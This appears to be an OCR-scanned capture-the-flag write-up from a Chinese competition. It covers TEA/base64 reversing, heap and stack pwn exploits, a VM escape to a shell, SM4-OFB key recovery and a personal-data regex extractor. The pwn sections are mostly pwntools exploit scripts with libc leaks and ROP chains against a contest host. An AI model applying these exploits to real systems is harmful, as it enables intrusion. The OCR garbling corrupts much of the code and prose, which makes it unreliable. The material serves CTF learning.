"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

5 void base64_decode(unsigned char *encoded, char *table, unsigned char *decode)
6 {

7 char temp[4] = {0}, chr, *index;

8 int length = strlen(encoded);

9 for (int i = 0; ix4 < length; i++)

10 {

11 for (int j = 0; j < 4; j++)

12 {

13 chr = encoded[i*4+j];

14 index = strchr(table,chr);

15 temp[j] = (index==NULL)? 0: +dindex-table;

16 }

17 x(decode + ix3) = (temp[0] << 2) | (temp[1l] >> 4);

18 x(decode + i*3 + 1) = (temp[l] << 4) | (temp[2] >> 2);

19 x(decode + i*x3 + 2) = (temp[2] << 6) | temp[3];

20 }

21 //printf("%s",decode) ;

22}

23

24  void tea_decry_BE(unsigned int *data, unsigned int *key)

25 {

26 unsigned int dl, d2;

27 unsigned int round = 32;

28 unsigned int delta = Ox7e3997b7, number = delta * round;

29
30 dl = ((data[0] & OxFF) << 24) | (((data[0] >> 8) & OxFF) << 16);
31 di |= (((data[0] >> 16) & OxFF) << 8) | ((data[0] >> 24) & OxFF);
32 d2 = ((data[l] & OxFF) << 24) | (((data[1l] >> 8) & OxFF) << 16);
33 d2 |= (((data[1] >> 16) & OxFF) << 8) | ((data[l] >> 24) & OxFF);
34

35 for (int i = 0; i < round; i++)



36
37
38
39
40
41
42
43
44
45
46
47
48
49

50

51

52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76

d2 —= ((d1<<4) + key[2]) * ((d1>>5) + key[3]) " (d1 + number);
dl —= ((d2<<4) + key[0]) A ((d2>>5) + key[1]) A (d2 + number);

number -= delta;
}
data[0] = di;
data[l] = d2;

int main()

{
unsigned char decdatal[64];

unsigned char data[] = {

OXx75,0xal,0x7f,0x0e,0x44,0x31,0x8b,0x11,0xa6,0xce,0x7d,0xla,0x3c,0x55,0xb6,0x13

b

0x63,0xel,0x33,0xc3,0x5a,0x6d,0x1b,0x4b,0x8e,0x9¢e,0xa9,0x23,0xe7,0x3c,0x4e,0xd6

b

Ox37,0x58,0xch,0x8f,0xc5,0xf9,0xef,0x94,0x0b,0x29,0xf5,0xa9,0x6e,0x7f,0xc9,0xe8
s
Ox67,0x2f,0xd3,0xe9,0x2c,0xfd,0x0c,0x98
}s
unsigned int tea_key[] = {
OX636C6557,0x74336d4f,0x73757230,0x55615474
}s
unsigned int xor_stream[] = {
137, 97, 135, @, 97, 97, 57, 57, 97, 23, 136,
97, 58, 105, 124, 180, 97, 129, 221, 154, 157,
117, 117, 97, 97, 97, 97, 97, 97, 97, 191, 22,
97, 97, 208, 97, 97, 97, 97, 97, 97, 97
}s

unsigned int *Data = (unsigned int *)data;

for(int i=0;1i<7;i++)
{
tea_decry_BE(Data+2*1i,tea_key);

}
printf("%s\n'",data);

base64_decode(data,std_table,decdata);
for(int j=0;j<42;j++)
{

decdata[j] 2= xor_stream[j] » 97;

}
printf("%s\n",decdata);



T
78

Pwn

return 0;

malloc | solved

ARG ER

1 from pwn import =

2 #io=process('./pwn')

3 #context. log_level="debug'

4 jo=remote("45.40.247.139",15853)

5 T1libc=ELF('./libc.so.6")

6 def bug():

7 gdb.attach(io)

8 def ch(Id):

9 jo.recvuntil(b"=======================")

10 jo.sendline(str(Id).encode())

11  def add(Id,size):

12 ch(1)

13 jo.sendlineafter (b"Index",str(Id).encode())
14 jo.sendlineafter (b"size",str(size).encode())
15 def free(Id):

16 ch(2)

17 jo.sendlineafter (b"Index",str(Id).encode())
18 def edit(Id,size,payload):

19 ch(3)

20 jo.sendlineafter (b"Index",str(Id).encode())
21 jo.sendlineafter (b"size",str(size).encode())
22 io.send(payload)

23  def show(Id):

24 ch(4)

25 jo.sendlineafter (b"Index",str(Id).encode())
26 add(0,0x70)

27  add(1,0x70)

28  free(1)

29  free(0)
30  show(0)
31 do.recvline()
32 pie=u64(io.recv(6)+b'\x00\x00"')-0x5280
33 print(hex(pie))
34 add(0,0x70)
35 add(1,0x70)
36 free(0)
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add(2,0x70)

free(0)
edit(2,0x10,p64(pie+Ox40CO-0x10))
add (0,0x70)

add(1,0x70)

show (1)

io.recvline()
base=u64(io.recv(6)+b'\x00\x00')-0x21b780
print(hex(base))

add (0,0x60)

free(0)

add (1,0x60)

free(0)
stack=base+libc.sym.environ
edit(1,0x10,p64 (stack-0x10))

add (0,0x60)

add(1,0x60)

show (1)

io.recvline()
stack=u64(io.recv(6)+b'\x00\x00"')-0x140#3
print(hex(stack))

add (0,0x50)

free(0)

add (1,0x50)

free(0)

edit(1,8,p64(stack-0x10))

add (0,0x50)
edit(0,0x18,b"./flag.txt\x00")
add(1,0x50)
rdi=base+0x000000000002a3e5
rsi=base+0x000000000002be51
rdx=base+0x000000000011f357 #double

read=base+1libc.sym.read

payload=p64 (rdi)+p64(0)+p64(rsi)+p64(stack+0x38)+p64 (rdx)+p64(0x400)*2+p64 (read

)
edit(1,0x50,payload)
pause()
flag=stack+0x38
payload

=b". /flag\x00\x00"+p64 (rdi)+p64 (flag)+p64(rsi)+p64(0)+p64 (rdx)+p64(0)*x2+p64 (bas

e+libc.sym.open)

payload+=p64 (rdi)+p64(3)+p64(rsi)+p64(stack+0Ox200)+p64 (rdx)+p64(0x50)*2+p64 (bas

e+libc.sym.read)

payload+=p64(rdi)+p64(1)+p64(base+libc.sym.write)

io.send(payload)

jo.interactive()



BENX T mallocR%:
HAEERZE,EZI T binsfE s 2
Add:

EIIR

1 __int6e4 __fastcall malloc(int al)

2 {

3 int ptr; // [rsp+1Ch] [rbp-14h]

4 unsigned int n8; // [rsp+26h] [rbp-106h]
5 int idx; // [rsp+24h] [rbp-Ch]

6 __inte4 v5; // [rsp+28h] [rbp-8h]

7 __inte4 list; // [rsp+28h] [rbp-8h]

8

9

n8 = al & OxF;
10 if ( n8 > 8 ) // X17F

11 ptr = al - n8 + 32;

12 else

13 ptr = al - n8 + 16;

14 idx = ptr / 16;

15 if ( bins[ptr / 16] ) // binsH LR
16 {

17 v5 = bins[idx];

18 bins[idx] = *(_QWORD ) (v5 + 0x10);
19 *(_BYTE *)v5 = 1;

20 return v5 + 16;

21 }

22 else

23 {

24 if ( ptr >= (unsigned __int64)ptr )
25 {

26 puts("malloc(): corrupted top chunks");
27 exit(0);

28 }

29 list = list_0;

30 *(_BYTE x)1list_0 = 1;

31 *(_DWORD ) (list + 8) = ptr;

32 list_0 += ptr;

33 ptr -= ptr;

34 *(_DWORD ) (list_0 + 8) = ptr;

35 return list + 16;

36 }

37}

"HE" I FbssER



EIR

1 __1int6e4 __fastcall Free(unsigned int n@x10)
2 |

3 int vl; // kroo_4

4 __1int64 result; // rax

5 int nl13; // [rsp+14h] [rbp-1Ch]

6 __int64 v4; // [rsp+20h] [rbp-10h]

7 __int64 v5; // [rsp+28h] [rbp-8h]

8

9

v5 = list[nOx10 + Ox200] - 16LL;

10 vl = x(_DWORD *)(v5 + 8);

11 *(_QWORD *)1ist[n0x10® + 0x200] = bins[vl / 16];
12 bins[vl / 16] = v5;

13 *(_BYTE *)v5 = 0;

14 ni3 = 0;

15 result = *(_QWORD *) (bins[vl / 16] + 16LL);

16 v4 = result;

17 while ( nl3 <= 13 && v4 )

18 {

19 if ( v4 == v5 )

20 {

21 puts("free(): double free or corruption (fast)");
22 exit(0);

23 }

24 result = *(_QWORD *)(v4 + 16);

25 v4 = result;

26 ++n13;

27 }

28 return result;

29 }

Z7xdouble_freet® &

MR ES



lunsigned __int64 delet()

2 {
3

O oo~ oy

® o0 0

10

®

12
13
® 14
15
16
17

[ ]

19

21}

char v1; // [rsp+3h] [rbp-Dh] BYREF
unsigned int n@x1@; // [rsp+4h] [rbp-Ch] BYREF
unsigned _ inte4 v3; // [rsp+8h] [rbp-8h]

v3 = _ readfsqword(@x28u);
puts("Index");
___is0c99_scanf("%u%c", &nox10, &vl);
if ( nexie <= ex1e )
{
Free(nox10); |
list[noxle + ©x21@] = oLL;
puts("Success");

}
else
{
puts("Invalid index");
}
return v3 - _ readfsqword(©x28u);

deletiR %8, R ¥ sizepk R EAAL 7 0,18 B B IEIE
F 2RI UFI Buaf,leakitipie

HADIR

N~ o a0~ WN R

add (0,0x70)

add(1,0x70)

free(l)

free(0)

show(0)

io.recvline()
pie=u64(io.recv(6)+b'\x00\x00')-0x5280

Hi#HITnext/5s RN Fgot R /1055 FRE libcttht

SR

1 add(0,0x70)
2 add(1,0x70)
3 free(0)

4  add(2,0x70)



free(0)

edit(2,0x10,p64 (pietOx40CO-0x10))

add (0,0x70)

add(1,0x70)

show (1)

10 do.recvline()

11  base=u64(io.recv(6)+b'\x00\x00"')-0x21b780

O 00 N oo U»

faFFenvirontst, leakik i, # 1T A H, (FFHorwHIROPT Ellflag
FETRENROPEAEHKERE

ARG ER

1 add(0,0x60)

2 free(0)

3  add(1,0x60)

4  free(0)

5 stack=basetlibc.sym.environ

6 edit(l,0x10,p64(stack-0x10))

7 add(0,0x60)

8 add(1,0x60)

9  show(1)

10  do.recvline()

11 stack=u64(io.recv(6)+b'\x00\x00"')-0x140#8
12 print(hex(stack))

13 add(0,0x50)

14 free(0)

15 add(1,0x50)

16 free(0)

17  edit(1,8,p64(stack-0x10))

18 add(0,0x50)

19 edit(0,0x18,b"./flag.txt\x00")
20  add(1,0x50)
21 rdi=base+0x000000000002a3e5
22 rsi=base+Ox000000000002be51
23 rdx=base+0x000000000011f357#double
24  read=base+libc.sym.read
25  payload=p64(rdi)+p64(0)+p64(rsi)+p64(stack+0Ox38)+p64(rdx)+p64(0x400)*2+p64 (read

)

26  edit(1,0x50,payload)

27  pause()

28  flag=stack+0x38

29  payload
=b" . /flag\x00\x00"+p64 (rdi) +p64 (flag) +p64 (rsi)+p64(0)+p64 (rdx)+p64 (0)*2+p64 (bas
e+libc.sym.open)



30 payload+=p64(rdi)+p64(3)+p64(rsi)+p64(stack+0x200)+p64(rdx)+p64(0x50)*2+p64(bas
e+libc.sym.read)

31  payload+=p64(rdi)+p64(1)+p64(base+libc.sym.write)

32 do.send(payload)

33 do.interactive()

stack | solved

RIGIR

1 from pwn import x

2 #io=process('./pwn'")

3  libc=ELF('./libc.so.6")

4  #context. log_level="debug'

5 do=remote("45.40.247.139",18789)

6 payload=p64(0)+p64(0x291)+b'\x00'*xOxf8+p8(0x5f)
7 #gdb.attach (7o)

8 do.send(payload)

9 do.recvuntil(b"magic number:")

10 base=int(io.recvline()[:-1],10)

11 base=base//4

12  base=base-0x16B0O

13  pie=base

14  print(hex(base))

15 ret=base+0x16D5

16  printf=base+0x1150

17  #gdb.attach(io)

18 payload =p64(0)+p64(0x291)+b'\x00'*x0xf8

19 payload+=p64 (base+0x12C9)+p64(ret)+p64 (base+0x163A)
20  jo.send(payload)

21  do.recvuntil(b"Good luck!\n")

22  base=u64(io.recv(6)+b'"\x00\x00"')-0x21b780
23 print(hex(base))

24  rdi=base+0x000000000002a3e5

25 rsi=base+0Ox000000000002be51

26 rdx=base+0x000000000011f357

27 rcx=base+0x000000000003d1ee

28  rbp=base+0x000000000002a2e0

29 rbx=base+0x0000000000035dd1
30 #gdb.attach(io)
31 magic=pie+0x12B2
32 payload =p64(0)+p64(0x291)+b'\x00'*Oxed
33  payload+=p64(ret)*0x10
34  payload+=p64(rbp)+p64(pie+Ox4200+0x3d)+p64(rbx)+p64(0x67616C66)+p64(magic)
35 payload+=p64(rdi)+p64(0x10000000000000000-

100)+p64 (rsi)+p64 (pie+0x4200)+p64 (rdx)+p64(0)*2+p64 (base+1libc.sym.openat)



36  payload+=p64(rdi)+p64(1)+p64(rsi)+p64(3)+p64(rdx)+p64(0)*2+p64(rcx)+p64(0x100)+
p64 (base+libc.sym.sendfile)

37 do.send(payload)

38 do.interactive()

1 inte4 fastcall main(__int64 al, char **a2, char **a3)
24

®3 ﬂnit();

® 4 work();

® 5 return OLL;

®6}

mianfREER D EREL initAlwork

__inte4 init()

{
setvbuf(stdin, OLL, 2, OLL);
setvbuf(stdout, OLL, 2, OLL);
setvbuf(stderr, OLL, 2, OLL);
*(_QWORD *)&seed = time(OLL);
srand(seed);

for ( N2 = OLL; n2 <= 2; n2 = rand() % 5 )

O oo~V A WwWPNRE

B
qword 4040 = ( _QWORD)main * n2;
heap = malloc(©x1000uLL);
sandbox();
memset (heap, ©, 9x2000ulLL);
heap = (char *)heap - 672;
qword_4018 = (__int64)heap + 256;
*((_QWORD *)heap + 32) = (char *)heap + 4096;
*(_QWORD *)(gqword_4018 + 8) = exit_o0;
n2_0 = OLL;
return OLL;

e
Rk ®
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20}
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AR — MR #0355t (exit_0)IREFH E(ER)

puts(“"Welcome to YCB2025!");

7 XA tachebinsFH ¥ heapiREEI T heap_base

if ( (unsigned int64)n2. 0 > 2 )

&EILEEIRN2_0/0
1__inté4 work()
2{
® 3
® 4 puts(”"Good luck!");
® 5 read(@, heap, ©x2000ulLL);
® 6
7 A
® 3 puts("Bye~");
® 9 exit(9);
10}
® 11 ++n2_0;
® 12 return OLL;
® 13}

work R Za] LA MHEEES N0x2000F T3, B8R HBwork&E= AEIRN2_0+=1
AR n2_0>2MworkF %R (o]

Text
text
text
text
text
text
text
text
text
text
text
text
text
text

J

1 UYYYUYYYYYYY 1681l 10C_1b31: ; LUDE XKEF: WOrK+4/7T3J
: 0000001681 mov rax, cs:n2_0

:0000000000001688 add rax, 1

: 0000000V 168C mov cs:n2_0, rax

: 0000000RV0EELES3 o e I E i i S

: 0000V 169A mov rbp, rax

: 00000LeNE169D mov rsp, rbp

: 00000001 6A0 xor rax, rax

: 0000000 16A3 pop rbp

1 000000RVRVA16A4 retn

: 00000000000 LAAA_waork andn

: 00000000000 16A4

:0000000LOBRA16AS5

:00BPBPORORPRL6AS ; =============== S UB RO U T I N E =s=s=s============================:

work R EREE —EBF IR E, XL A= BT R L REIE RNt BERIREISH
AR FH(TEE NROP,FLE Mread(0,heap,0x2000)iz H



MTFEFHRBTPIE,SHIHNILEZEEROP
~ // positive sp value has been detected, the output may be wrong!

2 __int64 magic()
31

» 4 printf("magic number:%11d\n", qword 4040); // ©8x1357
» 5  return work();
)6}
R EEmMagic, AT FTENH mainitiit 5 FE #R 89 3-FR
> == . ~ S .
Fr AR LU B8 pie, F B /R Awork R 2L
N —
LB BT AR FlelfR B9 gadgeti# i Trop
.text:00000000000012C9 ; FILE **sub 12C9()
.text :00000000000012C9 sub_12C9 proc near
TERTT TeesurwiTuy
V|text:90000900900912C9 endbré4
.text :00000000000012CD sub rsp, 8
.text :00000000000012D1 mov rax, cs:qword_4090
.text :00000000000012D8 test rax, rax
.text :00000000000012DB jnz short loc_1329
.text :00000000000012DD mov cs:qword_4090e, 1
.text :00000000000012E8 lea rax, stdout
.text :00000000000012EF mov cs:qword_4098, rax
.text :00000000000012F6 mov rax, cs:qword_4098
.text :00000000000012FD lea rdx, stdout ; rtld_fini
.text :0000000000001304 cmp rax, rdx
.text :0000000000001307 jnz short loc_1312
.text :0000000000001309 mov rax, cs:qword_4098
.text :0000000000001310 jmp short loc_1329
L text 1000000000000 1312 ; - - - - - s s s oo oo
.text :0000000000001312
.text:0000000000001312 loc_1312: ; CODE XREF: sub_12C9+3ETj
.text :0000000000001312 mov cs:qword_4090, OFFFFFFFFFFFFFFFFh
.text :000000000000131D call start
.text:0000000000001322 ;5 - - - - - - - - oo oo
.text :0000000000001322 mov eax, @
.text:0000000000001327 jmp short $+2
. text 1000000000000 1329 ; - - - - oo
.text :0000000000001329
.text :0000000000001329 loc_1329: ; CODE XREF: sub_12C9+121j
.text :0000000000001329 5 sub_12C9+471j ...

EXNBEAFEHA] LIIREstdoutFAYE R raxH



.text :00000000R0R161F
.text :000000000000161F
.text:000000000000161F ; _ int64 work()

.text:000000000000161F work proc near ; CODE XREF: magic+32Tp
.text :000000000000161F ; main+17lp
.text:000000000000161F ; _ unwind {

v.text:000000000000161F endbre4

.text :0000000000001623 push rbp

.text:0000000000001624 lea rax, aWelcomeToYcb2@ ; "Welcome to YCB2©25!"
| .text:0000000000001628 mov rdi, rax S |
.text:000000000000162F call _puts

.text:0000000000001633 lea rax, aGoodlLuck ; "Good luck!”
.text:000000000000163A mov rdi, rax ;S
.text:000000000000163D call _puts

.text:0000000000001642 mov rax, cs:heap
.text:0000000000001649 mov edx, 2606h ; nbytes
.text:000000000000164E mov rsi, rax ; buf
.text:0000000000001651 mov edi, 0 ; fd
.text:0000000000001656 call _read

.text :000000000000165B mov rax, cs:n2_o

.text :0000000000001662 cmp rax, 2

.text :0000000000001666 jbe short loc_1681

.text :0000000000001668 lea rax, aBye_© ; "Bye~"

.text :000000000000166F mov rdi, rax ;S
.text:0000000000001672 call _puts

.text :0000000000001677 mov edi, o ; status

.text :000000000000167C call _exit

. text :0000800800BOTIEST § - -~~~ ~ < -~ <~~~ - & o
.text :0000800600001681

BkElworke] LU _2_ 1 stdoutdTENH 3K
IEBYIRTE 7 libcudit fEfE# TR —XiaH, 7 E NorwBIROPENA]

Mvmps | solved

ARG ER

1 from pwn dimport *

2 elf = ELF("./pwn")

3  libc = ELF("./libc.so.6")

4

5 do=process('./pwn'")

6 def val(op):

7 return ord(op) if disinstance(op, str) else op
8

9 def rgs0(buf, choice, num):

10 bo = ((val(choice) << 2) | 0) & oxff
11 buf += bytes([b0]) + (num & Oxffffff).to_bytes(3, 'big')
12 return buf

13

14  def rgsi(buf, choice, r):

15 bo = ((val(choice) << 2) | 1) & oOxff
16 buf += bytes([b0, r & Oxff])

17 return buf

18

19 def rgs2(buf, choice, a, b):
20 bo = ((val(choice) << 2) | 2) & Oxff
21 buf += bytes([b0, a & Oxff, b & 0xff])
22 return buf

N
w



24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70

def rgs3(buf, choice, r, imm):
bo = ((val(choice) << 2) | 3) & Oxff

buf += bytes([bO, r & Oxff]) + p32(imm & Oxffffffff)

return buf

sp_alloc = lambda buf, n: rgs0(buf, 'S', n)
sp_free = lambda buf, n: rgso(buf, '%', n)

mov_rgstoi

add_rgstoi

shr_rgstoi = lambda buf, r, i: rgs3(buf, 8, r, i)

push_rgs = lambda buf, r: rgsi(buf, 31, r)
pop_rgs = lambda buf, r: rgsl(buf, 32, r)

def push_p64(buf, base, off, tmp=3):
buf = mov_rgstorgs(buf, tmp, base)
buf = add_rgstoi(buf, tmp, off)
buf = push_rgs(buf, tmp)
buf = shr_rgstoi(buf, tmp, 32)
buf = sp_free(buf, 2)
buf = push_rgs(buf, tmp)
buf = sp_free(buf, 2)
return buf

buf = bytearray()

binsh = next(libc.search(b'"/bin/sh'))
system = libc.symbols.system

pop_rdi = 0Ox2a3e5

pop_rsp = 0x35732

ret = Ox35733

payload = sp_alloc(buf, 0x420)

payload = pop_rgs(buf, 0)

payload = pop_rgs(buf, 1)

payload = add_rgstoi(buf, 0, -1xlibc.sym.puts)

payload = shl_rgstoi(buf, 0, 32)

payload = shr_rgstoi(buf, 0, 32)
1, 32)

payload = add_rgstorgs(buf, 0, 1)

payload = shl_rgstoi (buf,

payload = mov_rgstorgs(buf, 2, 0)

#=======—=—=—=—=—=—==—=—=—=——=—=—=—=—=——=—=—=—=—==—=—==—=—=========mgke ROP

payload = sp_free(buf, 0x201)

payload = push_p64(buf, 2, pop_rdi)
payload = push_p64(buf, 2, binsh)
payload = push_p64(buf, 2, ret)
2

payload = push_p64(buf, 2, system)

lambda buf, r, i: rgs3(buf, 3, r, 1)
lambda buf, r, i: rgs3(buf, 10, r, i)
mov_rgstorgs = lambda buf, a, b: rgs2(buf, 3, a, b)
add_rgstorgs = lambda buf, a, b: rgs2(buf, 10, a, b)
shl_rgstoi = lambda buf, r, i: rgs3(buf, 7, r, 1)



71  #===========================================gtack hijack
72  payload = sp_alloc(buf, 0x20f)

73  payload = mov_rgstoi(buf, 5, 0)

74  payload = mov_rgstoi(buf, 4, 0x405828)

75 payload = push_rgs(buf, 5)

76  payload = push_rgs(buf, 4)

77  payload = sp_free(buf, 3)

78  payload = push_p64(buf, 2, pop_rsp)

79  payload=bytes(payload)

80 A============================================
81 dio.send(payload)

82 do.interactive()

I N B E XIS ERIE R, FopcodeXt M AYHE < EHIFHFK

RIGIR

1 def val(op):

2 return ord(op) if disinstance(op, str) else op

3

4  def rgs0(buf, choice, num):

5 bo = ((val(choice) << 2) | 0) & Oxff

6 buf += bytes([b0]) + (num & Oxffffff).to_bytes(3, 'big')
7 return buf

8

9 def rgsl(buf, choice, r):

10 bo = ((val(choice) << 2) | 1) & Oxff

11 buf += bytes([b0, r & Oxff])

12 return buf

13

14  def rgs2(buf, choice, a, b):

15 bo = ((val(choice) << 2) | 2) & Oxff

16 buf += bytes([b0, a & Oxff, b & 0xff])

17 return buf

18

19 def rgs3(buf, choice, r, imm):

20 bo = ((val(choice) << 2) | 3) & Oxff

21 buf += bytes([b0O, r & Oxff]) + p32(imm & Oxffffffff)
22 return buf

23

24 sp_alloc = lambda buf, n: rgs@(buf, 's', n)

25 sp_free = lambda buf, n: rgs@(buf, '%', n)

26 mov_rgstoi = lambda buf, r, i: rgs3(buf, 3, r, i)

27 add_rgstoi = lambda buf, r, i: rgs3(buf, 10, r, i)
28 mov_rgstorgs = lambda buf, a, b: rgs2(buf, 3, a, b)
29 add_rgstorgs = lambda buf, a, b: rgs2(buf, 10, a, b)



30  shl_rgstoi = lambda buf, r, 1i: rgs3(buf, 7, r, 1)
31 shr_rgstoi = lambda buf, r, i: rgs3(buf, 8, r, 1)
32 push_rgs = lambda buf, r: rgsi(buf, 31, r)
33 pop_rgs = lambda buf, r: rgsi(buf, 32, r)

FalE, E— RS libcEtit

(AGEES

1 payload = sp_alloc(buf, 0x420)

2  payload = pop_rgs(buf, 0)

3  payload = pop_rgs(buf, 1)

4 payload = add_rgstoi(buf, 0, -1xlibc.sym.puts)
5 payload = shl_rgstoi(buf, 0, 32)

6 payload = shr_rgstoi(buf, 0, 32)

7  payload = shl_rgstoi(buf, 1, 32)

8 payload = add_rgstorgs(buf, 0, 1)

9 payload = mov_rgstorgs(buf, 2, 0)

ERS AT LA B8 i putsAYgot R RV E SEIE Rl K putsRY B Sttt 4G Zllibc Bt
PARTEVM B E X B XIS Hirop i

RISIR

1 payload = sp_free(buf, 0x201)

2  payload = push_p64(buf, 2, pop_rdi)
3  payload = push_p64(buf, 2, binsh)

4 payload = push_p64(buf, 2, ret)

5 payload = push_p64(buf, 2, system)

EER " pop rsp #1THRER, TN ERIROP
BRI H1Tsystem("/bin/sh")

ARG ER

1 payload = sp_alloc(buf, 0x20f)

2 payload = mov_rgstoi(buf, 5, 0)

3  payload = mov_rgstoi(buf, 4, 0x405828)
4 payload = push_rgs(buf, 5)

5 payload = push_rgs(buf, 4)

6 payload = sp_free(buf, 3)

7  payload = push_p64(buf, 2, pop_rsp)

8 payload=bytes(payload)



DS&AI

SM4-OFB | solved

BB AE HXA T SM4-0OFBINZE, OFBTEXIRZEAXMEIRA xor WER, RRZEAMREHE
SRIIMERRY (XA v FIEAEX)

ARISTHNIVEEER, HENZPER, WEELAXHKE, xor— TMEZEHR (MIERE, 4
LRENRETRENMER) , FEMELIR trivial T

RIGIR
1 from pwn import xor
2  from Crypto.Util.Padding import pad,unpad
3 from hashlib import md5
4 dmport pandas as pd
5
6 def getkey():
7 a =
bytes.fromhex('1451374401262f5d9ca4657bcdd9687eac8baace87de269e6659fdbclf3eadlc
)
org = pad(str(220000197309078766) .encode(),16)
key = xor(org,a)
10 return key
11
12 file_path = './competition/dasctf2025/ M AEER.x1sx"

13 df = pd.read_excel(file_path, sheet_name=0, header=None)
14 key = getkey()

15

16 for i in range(1,1000):

17 row = df.iloc[i]

18 name = unpad(xor (bytes.fromhex(row[1]) ,key,cut="min'"),16)
19 # breakpoint()

20 if name == "{A;EHE" . encode() :

21 f = unpad(xor (bytes.fromhex(row[3]) ,key,cut="min'),16)
22 print(f)

23 print(md5(f).hexdigest())

24 break

25

26 # b'120000197404101676"'
27 # fbb80148b75e98b18d65be4461505fcc

dataldSort | solved
sort.py



Rosgmport re

2
3
4
5
6
-
8

10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

30
31

32
33

34
35
36

38
39
40
41
42

import csv

def extract_and_save(filename):

# SR

id_pattern = r'\d{17}[\dXx] |\d{6}-\d{8}-[\dXx]{4}|\d{6} \d{8} [\dXx]{4}'
id_coefficients = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]

id_check_table = {0: '1', 1: '0', 2: 'X', 3: '9', 4:
7: '5', 8 '4', 9: '3', 10: '2'}

common_bankcard_prefixes = {

'622848', '622700', '621700', '622262', '622188',

'622200', '622568', '622609', '622908', '622518'

def is_valid_id(id_str):
clean = id_str.replace('-"', "').replace(' ', '")
if len(clean) != 18:
return False
try:
if clean[:6] in common_bankcard_prefixes:

return False

'8!, 5: '7', 6:

|6|,

total = sum(int(clean[i]) * id_coefficients[i] for i in range(17))

remainder = total % 11

expected = 1id_check_table[remainder]

return expected == clean[17].upper()
except:

return False

phone_pattern = r'(?2:\(\+86\) |\+86)?\s*x(\d{3}(?:[\s\-1\d{4}

[\s\-1\d{4}|\d{8}))"
valid_prefixes = {

'134', '135', '136', '137', '138', '139', '147',
'152', '157', '158', '159', '172', '178',

'182', '183', '184', '187', '188', '195', '198',
'140', '145', 'l46', '155', '156', '166',

'i67', '171', '175', '176', '185', '186', '196',
'173', '174', 'i77', '180', '181', '189',

'190', '191', '193', '199'

def is_valid_phone(phone_str):
clean = re.sub(r'"[A\d]', "', phone_str)
if len(clean) != 11 and len(clean) != 13:
return False
if len(clean) == 11:
return clean[:3] 1in valid_prefixes

'148', '150',
'130', '131',
'133', '149',

'151',

132",

153",



43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78

79
80
81
82
83
84
85
86

if len(clean) == 13:
return clean[2:5] 1in valid_prefixes

# RITFSRI
bankcard_pattern = r'(?<!\d)\d{16,19}(?!\d)"

common_bankcard_prefixes = {
'622848', '622700', '621700', '622262', '622188',
'622200', '622568', '622609', '622908', '622518'

def luhn_check(card_number):
n uhn ARG
total = 0
# MGEIiERD
for i, digit in enumerate(reversed(card_number)):
num = int(digit)
if 9% 2 == 1: # @G (MEEZH, F5/M0HF1E)
num *= 2
if num > 9:
num = num // 10 + num % 10 # S ZFFE00
total += num
return total % 10 ==

def is_valid_bankcard(card_str):
nn ngﬁﬁE"f‘E,’fﬁ_ﬁ% mmn
# MERKE
if len(card_str) < 16 or len(card_str) > 19:
return False

# MEBEESENHF
if not card_str.isdigit():
return False

# MEE IR
has_common_prefix = any(card_str.startswith(prefix) for prefix 1in
common_bankcard_prefixes)
if not has_common_prefix:
return False

# LuhnE ZK59
return luhn_check(card_str)

# IPHIHHRT(

ip_pattern = r'(?<!\d) (?:25[0-5]|2[0-4][0-9]|[01]?[06-9][0-9]?)\.(?:25[0-
51|2[0-4]1[0-9]|[01]?[06-9][0-9]1?)\.(?:25[0-5]|2[0-4][0-9]|[01]?[0-9]1[0-9]1?)\.
(2:25[0-5]]2[0-4][0-9]|[01]2[0-9][0-9]2) (?2!\d)"



87

88 def dis_valid_ip(ip_str):

89 parts = dip_str.split('.")

90 if len(parts) != 4:

91 return False

92 for part in parts:

93 if not 0 <= 1dint(part) <= 255:

94 return False

95 return True

96

97 # MACHOHHEZC

98 mac_pattern = r'[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]
{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f] {2}

99

100 def is_valid_mac(mac_str):

101 return True

102

103 results = []

104

105 with open(filename, 'r', encoding='utf-8') as f:

106 content = f.read()

107 check = [1 # FAFHGFHISERGFIUFEI11{IAYIE

108

109 # B UFILE

110 for match in re.findall(id_pattern, content):

111 if ds_valid_id(match):

112 check.append(match[:11])

113 results.append(['idcard', match])

114

115

116 # FHISLE

117 for match in re.finditer(phone_pattern, content):

118 full_match = match.group()

119 if ds_valid_phone(full_match):

120

121 if full_match[0] == " '":

122 full_match = full_match[1l:len(full_match)]

123 if full_match not in check:

124 results.append(['phone', full_match.strip() 1)

125

126 # RITFSITE

127 bankcard_matches = re.findall(bankcard_pattern, content)

128

129 for match in bankcard_matches:

130 if dis_valid_bankcard(match):

131 results.append(['bankcard', match])

132



133 # IPHHYFDTED

134 ip_matches = re.findall(ip_pattern, content)
135 for match in {ip_matches:

136 if ds_valid_ip(match):

137 results.append(['ip', match])

138

139 # MACHIHLDTED

140 mac_matches = re.findall(mac_pattern, content)
141 for match in mac_matches:

142 if dis_valid_mac(match):

143 results.append(['mac', match])

144

145

146

147 with open('output.csv', 'w', newline='"', encoding='utf-8') as f:
148 writer = csv.writer(f)

149 writer.writerow(['category', 'value'])

150 writer.writerows (results)

151

152 extract_and_save('data.txt')

ZERETX: (518, RFTEEREES)
XiEE RS LEtEXEE SE(ESLL) FLAG

output.csv 1 AEpTh 96.240% give_you_flag_when_score>98%
output.csv 1 HAERTH 97.269% give_you_flag_when_score>98%
output.csv 1 AERTh 97.269% give_you_flag_when_score>98%
output.csv 1 AEmIh 97.269% give_you_flag_when_score>98%

output.csv 1 AETh 98.322% DASCTF{01861980985181586036358543329818}

THREE | solved
BRI ETNUBERETCEFHINES, BRENCMREAEERDE:

AREGIR

1 dmport numpy as np

2  from scipy.spatial import distance

3  from sklearn.preprocessing import StandardScaler
4

5  # JIEEHE

6 data = np.loadtxt("data.npy.gz")

7 core_data = np.loadtxt("known_samples.npy.gz")

8 print("HIEFIR - core_data:", core_data.shape, "data:", data.shape)
9

